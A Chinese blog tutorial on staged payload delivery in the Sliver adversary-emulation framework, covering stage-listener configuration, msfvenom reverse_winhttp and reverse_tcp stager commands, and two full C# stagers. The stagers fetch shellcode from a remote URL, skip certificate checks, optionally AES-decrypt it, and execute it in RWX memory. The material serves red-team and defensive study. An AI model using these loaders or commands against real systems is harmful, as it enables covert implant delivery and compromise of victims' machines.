news 2026/9/24 8:54:46

Sliver Stager 分阶段投递实战指南:stage-listener 配置、Metasploit 集成与自定义 Stager 编写

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Sliver Stager 分阶段投递实战指南:stage-listener 配置、Metasploit 集成与自定义 Stager 编写
  • 网络安全

【免费下载链接】sliver

Adversary Emulation Framework

项目地址:https://gitcode.com/gh_mirrors/sl/sliver
点击查看免费下载

本篇技术指南完整讲解 Sliver(Adversary Emulation Framework)中的 Stager(分阶段投递)机制:为什么需要 Stager、meterpreter staging 协议如何工作、如何用profiles new+stage-listener搭建 TCP/HTTP(S) 分阶段监听器、如何用msfvenom生成配套 stager,以及如何编写自定义 Stager(含加密/压缩 Stage 的完整 C# 示例)。读完你可以独立搭建一套「小体积首阶段 + 内存加载大体积第二阶段」的投递链路,并理解其底层实现原理。

Overview:为什么需要 Stager

Sliver 生成的 implant 体积通常在 10MB 左右(docs/sliver-docs/pages/docs/md/Stagers.md中明确指出 payload 可以达到约 10MB)。在带宽受限、文件大小受限或需要隐蔽投递的场景下,直接传输这么大的文件既不灵活也不现实。Stager 方案将投递过程拆成两个阶段:

  • Stage 1(stager):一个体积很小的引导程序,负责连接 staging server、下载第二阶段的载荷并加载到内存;
  • Stage 2:真正的 implant 载荷(通常是 Sliver shellcode,也可以是其他格式),由 staging server 下发。

Sliver 支持meterpreterstaging 协议,可运行于TCPHTTP(S)之上。该协议本身非常直接:

  1. 先从连接上读取 Stage 2 载荷的大小(对 TCP stager 而言,即连接的前 4 个字节);
  2. 下载完整的 Stage 2 载荷;
  3. 按照第 1 步读到的大小分配内存,并把载荷写入内存执行。

搭建这套链路需要三个组成部分:

组成部分说明
Staging Server即 Sliver server,负责监听并下发 Stage 2
Stage 2 载荷通常是用--format shellcode生成的 Sliver shellcode
Stagermsfvenom生成,或手工编写(见后文 Custom Stagers)

⚠️ 重要前提:部分 Staged payload 的生成依赖 Sliver server 上可用的交叉编译工具链(尤其是共享库和非本机目标)。Sliver 为大多数 Windows/Linux 目标内置了 Zig 工具链,但macOS 共享库/shellcode 构建需要额外安装 osxcross

快速上手:基于 Profile 搭建 Staging 监听器

Sliver 通过复用Profile(配置文件)机制来实现 staging。Profile 本质上是 implant 的"蓝图",定义了可供profiles new命令复用的配置。下面的命令创建一个后续用于 staging 监听的 shellcode profile:

sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode [*] Saved new profile win-shellcode sliver > profiles Name Platform Command & Control Debug Format Obfuscation Limitations ==== ======== ================= ===== ====== =========== =========== win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled

随后用stage-listener命令创建 staging 监听器,并把监听器与 profile 关联:

sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode [*] No builds found for profile win-shellcode, generating a new one [*] Job 1 (tcp) started sliver > jobs ID Name Protocol Port == ==== ======== ==== 1 http tcp 1234 2 mtls tcp 8888

执行后 Sliver 会自动为该 profile 生成 shellcode 构建([*] No builds found for profile win-shellcode, generating a new one),并注册一个 Job 供 stager 请求。

--url参数的格式约束

stage-listener--url只接受tcp://http://https://三种 scheme,格式为scheme://IP:PORT如果没有指定 PORT,会直接报错。客户端代码在 client/command/jobs/stage.go 中解析该 URL 并取出端口,任一环节缺失都会打印error parsing staging port之类的错误。

从源码看 TCP Stager 监听器的实现

从源码结构看,stage-listener命令最终通过 gRPC 调用服务端的StartTCPStagerListener(server/rpc/rpc-stager.go)。该实现会先用checkInterface()校验传入的 Host 是否绑定在真实网卡上——如果不是,则回退为绑定0.0.0.0。随后调用c2.StartTCPStagerListenerJob(server/c2/jobs.go),底层由 server/c2/tcp-stager.go 的StartTCPListener/acceptConnections/handleConnection完成:监听端口、接受连接、一次性conn.Write(data)写入整个 shellcode 后立即关闭连接。这也是 TCP stager 协议如此简单的原因——连接建立后,服务端直接把整段 Stage 2 抛给 stager。

Shellcode 格式与平台差异、调优选项

Shellcode 的生成因平台而异:

  • Windowsshellcode 基于Donut生成,支持下方列出的全部 shellcode 调优参数;
  • macOS(darwin/arm64)与 Linux(amd64/arm64)shellcode 目前仅支持--shellcode-compress,其余--shellcode-*选项均为 Windows 专属。

各平台通用的 shellcode 选项(通过profiles new传入):

选项说明适用范围
--shellcode-encoder应用可选的 shellcode 编码器(参见shellcode-encoders命令)全部
--shellcode-compress启用/禁用 aPLib 压缩(布尔值)Windows、macOS、Linux
--shellcode-entropy1=无,2=随机名称,3=随机+加密仅 Windows
--shellcode-exitopt1=退出线程,2=退出进程,3=阻塞仅 Windows
--shellcode-bypass1=无,2=失败即中止,3=继续仅 Windows
--shellcode-headers1=覆盖,2=保留仅 Windows
--shellcode-thread将非托管 EXE 入口点作为新线程运行(布尔值)仅 Windows
--shellcode-unicode向非托管 DLL 入口点传递 Unicode 命令行(布尔值)仅 Windows
--shellcode-oep覆盖原始入口点(uint32,0=默认)仅 Windows

Windows 调优示例:

sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode

Linux 示例(仅支持压缩):

sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode

Metasploit:Bring Your Own Stager(自带 Stager)

注意:Sliver 的generate stager命令已被移除,不再可用。请使用 Metasploit 的msfvenom生成 stager(或自行编写,见 Custom Stagers)。

仅支持在 Windows 上使用 Metasploit stagers。

生成 HTTP(S) Stager

若要在 Sliver 中使用 Metasploit Framework 生成的 stager(通过msfconsolemsfvenom),需要给stage-listener额外传入--prepend-size标志:

sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size

该标志会把载荷大小以 4 字节的形式前置拼接到最终发送给 stager 的二进制数据中——这正是 Metasploitcustom类型 payload 所要求的格式。

关于--prepend-size的一个实现细节:从源码看,客户端在 client/command/jobs/stage.go 中对tcp://scheme总是无条件 prepend 载荷大小(注释Always prepend payload size for TCP stagers);而 HTTP(S) 场景下才由用户显式指定--prepend-size。服务端对应的实现是 server/rpc/rpc-generate.go 的prependPayloadSize():将uint32(len(payload))按**小端序(LittleEndian)**写入 4 字节,再与载荷拼接。

随后用msfconsolemsfvenom生成custom类型的 stager shellcode 或二进制。以下是用msfvenom生成 HTTP stager 的示例:

msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin

⚠️ 兼容性备注:目前custom/reverse_httppayload 与 Sliver shellcode 不兼容(stager 会崩溃)。请改用custom/reverse_winhttp

根据所选 payload 类型,还可以指定额外选项(如 HTTP 代理设置)。使用msfvenom --list-options <payload>查看选项列表,或在msfconsole中执行show advanced

生成 TCP Stager

同样使用stage-listener,但 scheme 换成tcp://

sliver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size

由于要配合 Metasploit 使用,--prepend-size仍然必需。msfvenom生成 TCP stager 的示例:

# LHOST 和 LPORT 应与 stage-listener 命令中 --url 参数保持一致 msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin

Custom Stagers:编写你自己的引导程序

编写(或使用)自定义 stager 时,尤其是走 HTTP 协议,有一个关键约束需要理解:Sliver server 只会在特定 URL 上提供 Stage 2 载荷。这是因为 HTTP staging listener 复用了常规的 HTTP listener,遵循与 HTTPS C2 文档 相同的程序化 HTTP 协议。

默认用于获取 Stage 2 载荷的文件扩展名是.woff,可以在 HTTP C2 选项中通过stager_file_ext配置项修改(该配置项在 HTTPS C2 文档 中有说明:stager_file_ext指定与 stager 关联的文件扩展名,默认.woffstager_files则是用于 URL 中"文件名"段的字符串列表,会与stager_file_ext拼接)。

因此,如果你想实现自己的 HTTP stager 去拉取 Stage 2,需要请求形如http://SLIVER-SERVER:STAGING-PORT/whatever.woff的 URL。

从源码验证 URL 约定的处理链路:服务端在 server/c2/http.go 的stagerHandler中处理这类请求——它从 URL 中解析 nonce,通过db.ResourceIDByValue找到对应的 resource ID,再用db.ImplantBuildByResourceID取出构建记录;只有当该构建标记为build.Stage时,才会用generate.ImplantFileFromBuild取出载荷返回给 stager。

以下是自定义 HTTP stager 的 C# 示例。注意:请按目标 CPU 架构编译 C# 代码(例如/platform:x64):

using System; using System.Net; using System.Runtime.InteropServices; namespace SliverStager { public class Stager { private static string url = "http://a.bc/test.woff"; [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; System.Net.WebClient client = new System.Net.WebClient(); byte[] shellcode = client.DownloadData(url); IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); Marshal.Copy(shellcode, 0, addr, shellcode.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } public static void Main(String[] args) { DownloadAndExecute(); } } }

这段代码展示了标准的三步 stager 流程:WebClient.DownloadData拉取.woff载荷 →VirtualAllocMEM_COMMIT|MEM_RESERVE(0x3000)+PAGE_EXECUTE_READWRITE(0x40)分配可执行内存 →CreateThread创建线程执行。注意这里为了兼容 HTTPS 场景,回调中无条件接受了服务器证书。

Encrypted Stage:加密与压缩的 Stage 2

Sliver 在分发 Stage 时支持加密和压缩。压缩选项为zlibgzipdeflate(level 9);加密使用AES-CBC-128——由于这种加密主要用于混淆而非强安全保护,Sliver 认为不需要更复杂的密码模式。除 AES 外,源码中还支持RC4(server/rpc/rpc-generate.go 的Encrypt函数实现了 RC4/AES 二选一:RC4 key 长度须在 1~256 字节之间,AES key 长度必须为 16 的倍数,两者不可同时使用)。

加密 Stage 的启动命令示例:

stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV

参数说明:

  • --aes-encrypt-key:AES key,长度必须是 16 的倍数(128 位对应 16 字节);
  • --aes-encrypt-iv:AES IV,如果未设置则默认值为0000000000000000(默认逻辑同时存在于客户端 client/command/jobs/stage.go 与服务端 server/rpc/rpc-generate.go);
  • --compress:可选zlib/gzip/deflatedeflate9会回退到deflate,见 server/rpc/rpc-generate.go 的Compress函数);
  • 也可用--rc4-encrypt-key指定 RC4 key 代替 AES。

Stage 生成完成后,AES key 与 IV 会在控制台打印出来(客户端在 client/command/jobs/stage.go 中输出AES KEY:/AES IV:/RC4 KEY:),stager 需要用同一套参数解密。注意上述示例未包含压缩

客户端对应的加密/压缩管线实现位于 client/command/jobs/stage.go:先按compress分支执行 zlib/gzip/deflate 压缩,再执行 AES(util.PreludeEncrypt,即纯 AES,注释说明它通常用于与 Prelude 的互操作,但在这里也很有用,因为更高级的密码模式在 stager 中往往难以实现)或 RC4(util.RC4EncryptUnsafe)加密。

对应配套的 C# 解密 stager 完整示例(注意:此示例不包含压缩处理,且解密逻辑会跳过前 16 字节的 IV):

using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace Sliver_stager { class Program { private static string AESKey = "D(G+KbPeShVmYq3t"; private static string AESIV = "8y/B?E(G+KbPeShV"; private static string url = "http://192.168.24.128:8443/test.woff"; [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; System.Net.WebClient client = new System.Net.WebClient(); byte[] shellcode = client.DownloadData(url); List<byte> l = new List<byte> { }; for (int i = 16; i <= shellcode.Length -1; i++) { l.Add(shellcode[i]); } byte[] actual = l.ToArray(); byte[] decrypted; decrypted = Decrypt(actual, AESKey, AESIV); IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40); Marshal.Copy(decrypted, 0, addr, decrypted.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV) { byte[] key = Encoding.UTF8.GetBytes(AESKey); byte[] IV = Encoding.UTF8.GetBytes(AESIV); using (Aes aesAlg = Aes.Create()) { aesAlg.Key = key; aesAlg.IV = IV; aesAlg.Padding = PaddingMode.None; ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); using (MemoryStream memoryStream = new MemoryStream(ciphertext)) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)) { cryptoStream.Write(ciphertext, 0, ciphertext.Length); return memoryStream.ToArray(); } } } } public static void Main(String[] args) { DownloadAndExecute(); } } }

服务端的 Stage 生成管线(源码透视)

从源码结构看,无论是 TCP 还是 HTTP 场景,Stage 2 的生成都统一走服务端 server/rpc/rpc-generate.go 的GenerateStageRPC:

  1. 按 profile 名从数据库加载 implant profile(db.ImplantProfileByName);
  2. 加载对应的 HTTP C2 配置,并调用generate.GenerateConfig生成构建配置;
  3. 根据profile.Config.Format分发到SliverExecutable/SliverSharedLibrary/SliverArchive/SliverShellcode等生成函数(shellcode 即SliverShellcode);
  4. 若请求带PrependSize,调用prependPayloadSize前置 4 字节小端长度;
  5. 按需执行Compress(zlib/gzip/deflate)与Encrypt(AES/RC4);
  6. 通过generate.SaveStage保存 stage 构建,并发布构建完成事件。

这条管线同时被 TCP 与 HTTP 两种 staging 监听器复用,因此无论是tcp://还是http(s)://监听,你在profiles new中配置的 shellcode 调优参数、压缩与加密选项都作用于同一套 Stage 2 生成逻辑。

限制与注意事项小结

  • Metasploit stager 仅支持 Windows,且custom/reverse_http与 Sliver shellcode 不兼容,请使用custom/reverse_winhttp
  • generate stager命令已移除,stager 一律由msfvenom生成或自行编写;
  • HTTP staging 请求必须落在*.woff(或stager_file_ext配置的扩展名)URL 上,否则服务端无法识别为 stager 请求;
  • 使用 Metasploitcustompayload 时必须为stage-listener--prepend-size
  • 若在自定义 stager 中使用了--aes-encrypt-key/--aes-encrypt-iv,请确保 key 长度为 16 的倍数,未设置 IV 时默认0000000000000000
  • macOS(darwin/arm64)与 Linux 平台 shellcode 仅支持--shellcode-compress,其余调优选项为 Windows 专属;
  • 交叉编译依赖:macOS 共享库/shellcode 构建需要 osxcross,其余多数 Windows/Linux 目标由 Sliver 内置的 Zig 工具链覆盖。

相关文档与源码入口

  • 本文主体:Stagers.md
  • HTTP C2 协议与stager_file_ext/stager_files配置:HTTPS C2.md
  • 客户端stage-listener命令实现:client/command/jobs/stage.go
  • 服务端 Stage 生成 RPC(压缩/加密/大小前置):server/rpc/rpc-generate.go
  • TCP staging 监听器(Job 管理):server/c2/jobs.go 与 server/c2/tcp-stager.go
  • 客户端 RPC 入口与网卡校验:server/rpc/rpc-stager.go
  • HTTP Stager 请求处理(.woffURL 分发):server/c2/http.go
  • 网络安全

【免费下载链接】sliver

Adversary Emulation Framework

项目地址:https://gitcode.com/gh_mirrors/sl/sliver
点击查看免费下载

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/24 8:37:51

RUST图解 第 1 章:入门(Getting Started)

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/24 8:37:41

SPI四种模式详解:从CPOL/CPHA原理到实战配置与避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/24 8:02:34

RV1126B MIPI-CSI图像采集失败的三大隐性断点与实操修复

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华